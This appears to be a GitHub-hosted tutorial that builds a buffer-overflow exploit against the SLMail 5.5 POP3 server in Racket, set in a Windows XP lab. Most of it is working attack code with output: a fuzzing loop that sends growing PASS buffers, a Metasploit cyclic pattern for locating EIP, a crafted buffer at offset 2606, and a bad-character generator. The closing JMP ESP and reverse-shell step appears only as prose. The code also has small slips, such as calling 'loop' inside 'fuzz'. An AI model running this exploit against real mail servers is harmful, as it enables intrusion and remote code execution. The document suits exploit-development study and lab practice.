Skip to content

Latest commit

 

History

History
250 lines (200 loc) · 13.7 KB

File metadata and controls

250 lines (200 loc) · 13.7 KB

This is an exercise in writing an exploit in Racket to demonstrate its flexibility. We will approach writing an exploit from scratch using Racket from port scanning to shell.

We will target SLMail 5.5, a version of SLMail (from ~2003) that is vulnerable to a buffer-overflow attack. There is plenty of public exploits available for SLMail 5.5; here are two links to code archived in the exploit-database, both of which have been written in C. The exploit database is a reputable source of public exploit code for security researchers.

https://www.exploit-db.com/exploits/646/

https://www.exploit-db.com/exploits/638/

Each of these also contain a link to the SLMail 5.5 binary so you can learn install the vulnerable service to learn the mechanics of the attack by hand.

We will require a couple tools outside of our Racket tool belt, these include

  •   Metasploit Framework ; 
      A security auditing framework written in ruby on rails that will 
      generate supplementary code to help both fuzz and return a shell.
      Metasploit can be installed on Windows or popular Linux distros,
      we will use Kali Linux which has Metasploit as well as its dependencies.
      
      Windows XP virtual machine;
      We need a machine with a debugger installed. 
      We will use Immunity Debugger which allowes us to create custom python plugins. 
      As such, we are also use an imported plugin for Immunity caled Mona.py
      Windows XP is a security nightmare, but the lack of ASLR will make writing this exploit easier.
    

high resolution

Consider we have used a portscanner (such as RCat) and discovered a mail server sitting on a target machine. Using some version matching we find out this server is a SLMail server.

The exploit is trigged by passing a buffer of characters too large for the program to handlewhen it is expecting a password for the user -- ie the input for the password variable is never checked to be a valid size for the container holding it. When this container overflows it will spill over into adjacent memory and due to the way the memory has been written onto the stack we will overwrite the EIP register. This is the whole attack in a nut shell, by being able to direct where we take our next instruction from we might have a chance to redirect the execution flow to our own code.

Here are the steps we will take to exploit SLMail:

  1. Fuzz the service.
  • We need to determine exactly how many character's breaks SLMail, this is one of the most important factors in determining an exploits viability but this only leads us to the next question
  1. Locate where -exactly- in our string, do we overwrite the EIP.
  • Once we determine where in our string the EIP is, we can use this to redirect the execution of SLMails code. If we carefully place code into the surrounding buffer we might be able to write an address that overwrites EIP to direct the next instruction to fall in our buffer of attack code.
  1. Determine if there bad characters we need to avoid.
  • Before we create any code to attempt to coerce SLMail into our desired execution flow we need to understand a few things about the service we are targeting-- specifically if any hex characters which might get sent in our buffer is interepreted by the service as anything special and break our attack code. We can write racket code which will create a string of every hex character and send it as buffer to seen how the program interprets it.
  1. Find a place for attack code.
  • A typical reverse shell payload is between 300 - 400 bytes of space. We need to find a place in our attack buffer that is accessible to us at the time of the crash.
  1. Find a way to redirect execution flow
  • Just because we have taken control of the EIP does not mean that we have undbridled access to the flow of the program. SLMail itself has ASLR turned on, which means that the address of our code is different for every execution. The consequence is that we cannot write a static address to the EIP to bring us to our payload because the addresses of the attack buffer are differenteach and every run-time.

Using the REPL to fuzz SLMail

First we want to get a handle on the way to communicate with the SLMail server using racket. We are going to form a closure over the two procedures returned by the tcp-connect procedure. From Racket documentation

"Two values are returned by tcp-connect: an input port and an output port. Data can be received from the server through the input port and sent to the server through the output port. "https://docs.racket-lang.org/reference/tcp.html

> (define-values (in out) (tcp-connect "192.168.1.13" 110))

We can use the two ports to read and write lines of information. It is important to note the importance of lines, otherwise Racket uses spaces as delimiters for reading. It is also important to note that the buffer we intend to send to our outbound port does not get pushed across until we flush the buffer with flush-output.

https://docs.racket-lang.org/reference/port-buffers.html

> (read-line in)
"+OK POP3 server ie8winxp ready <00003.22238468@ie8winxp>\r"
> (displayln "USER test" out)
> (flush-output out)
> (read-line in)
"+OK test welcome here\r"
> (displayln "PASS not_the_password" out)
> (flush-output out)
> (read-line in)
"-ERR unable to lock mailbox\r"

With the information from public exploits we know that if we keep shoving buffers of increasing size to the SLMail program that we will eventually cause it to overflow. We attach our SLMail instance to the debugger and write a recursive procedure in the REPL to fuzz the PASS with buffers of increasing size. With every recursion we want to be able to see the size of the buffer as well as the returned output.

> (define (fuzz n)
        (if (displayln (read-line in))
            (begin
              (displayln "USER test" out)
              (flush-output out)
              (displayln n)
              (displayln (string-append "PASS " (make-string n #\A)) out)
              (flush-output out)
              (displayln (read-line in))
              (sleep 1)
              (loop (+ n 100))) (displayln (string-append "Broke at " n))))
> (fuzz 100)
+OK POP3 server ie8winxp ready <00004.9451406@ie8winxp>

100
+OK test welcome here

-ERR unable to lock mailbox

200
+OK test welcome here

-ERR unable to lock mailbox

...

2400
+OK test welcome here

-ERR unknown command

2500
+OK test welcome here

-ERR unknown command

2600
+OK test welcome here

The last successful buffer was 2600 A's appended together before we hang. Looking at the debugger we see this: high resolution

We reset the broken SLMail and the debugger, and try again to ensure we have sucess

> (displayln "User test" out)
> (flush-output out)
> (read-line in)
"+OK test welcome here\r"
> (displayln (string-append "PASS " (make-string 2700 #\A)) out)
> (flush-output out)

high resolution

Locating the buffer index

Now we need to determine the location in our attack buffer that lands us in EIP. We can use two tools provided by the metasploit framework; pattern_create and pattern_offset. Pattern_create creates a string of a desired sized of a pattern that we can index with pattern_offset.

high resolution

Now we recreate the connection with the POP3 server and throw our string in and watch on the debugger.

> (define-values (in out) (tcp-connect "192.168.1.13" 110))
> (read-line in)
"+OK POP3 server ie8winxp ready <00005.24733875@ie8winxp>\r"
> (define check-post "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9")

> (displayln "USER test" out)
> (flush-output out)
> (read-line in)
"+OK test welcome here\r"
> (displayln (string-append "PASS " check-post) out)
> (flush-output out)

high resolution

We take the value that is in the EIP and run it through pattern_offset.rb to determing the location in our buffer that will overwrite the EIP register. high resolution

Now we want to test that we have the correct location at 2606. We will write a buffer that should place four Bs right in our EIP register, sandiwched between 2606 As and a bunch of Cs that maybe we can sneak some code in.

> (define-values (in out) (tcp-connect "192.168.1.13" 110))
> (define abc (string-append (string-append (make-string 2606 #\A) "BBBB") (make-string 90 #\C)))
> (read-line in)
"+OK POP3 server ie8winxp ready <00001.26881718@ie8winxp>\r"
> (displayln "User test" out)
> (flush-output out)
> (read-line in)
"+OK test welcome here\r"
> (displayln (string-append "PASS " abc) out)
> (flush-output)

high resolution

Determining bad characters

Now we write write a small racket program to create a buffer that contains every hex character. We will feed this buffer to SLMail and carefully obseve if any of the characters get mangled. This is an important step because we need to make sure that none of the characters used in the shell code of our exploit cause unpredictable behaviour.

> (define hex-buffer (for/list ([i 16])
    (for/list ([j 16])
      (string-append (make-string 1 #\\)
                     (string-append "x"
                                    (string-append
                                     (cond ((< i 10)(number->string i))
                                           ((= i 10) "A")
                                           ((= i 11) "B")
                                           ((= i 12) "C")
                                           ((= i 13) "D")
                                           ((= i 14) "E")
                                           ((= i 15) "F"))
                                     (cond ((< j 10)(number->string j))
                                           ((= j 10) "A")
                                           ((= j 11) "B")
                                           ((= j 12) "C")
                                           ((= j 13) "D")
                                           ((= j 14) "E")
                                           ((= j 15) "F"))))))))

Taking it home, receiving a shell

The rest of the overflow relies on working with Immunity and Metasploit to create the appropriate shell code for Racket. Because SLMail utilizes ASLR we need to find a DLL loaded by XP which does not. From within one of the statically loaded DLLs we can find a JMP ESP instruction. Because at the time of the crash the ESP register points into our buffer of attack code, we can place the address of the JMP ESP instruction to overwrite the EIP register. Now at crash time we will jump into our own code. Immunity and Mona.py help us locate a DLL that we can use, and then using msfvenom we can generate a reverse shell payload. This buffer is placed into our string and once we send the buffer across the connection, if we have netcat or metasploit running we can catch the returning shell and execute commands with the privellege of SLMail.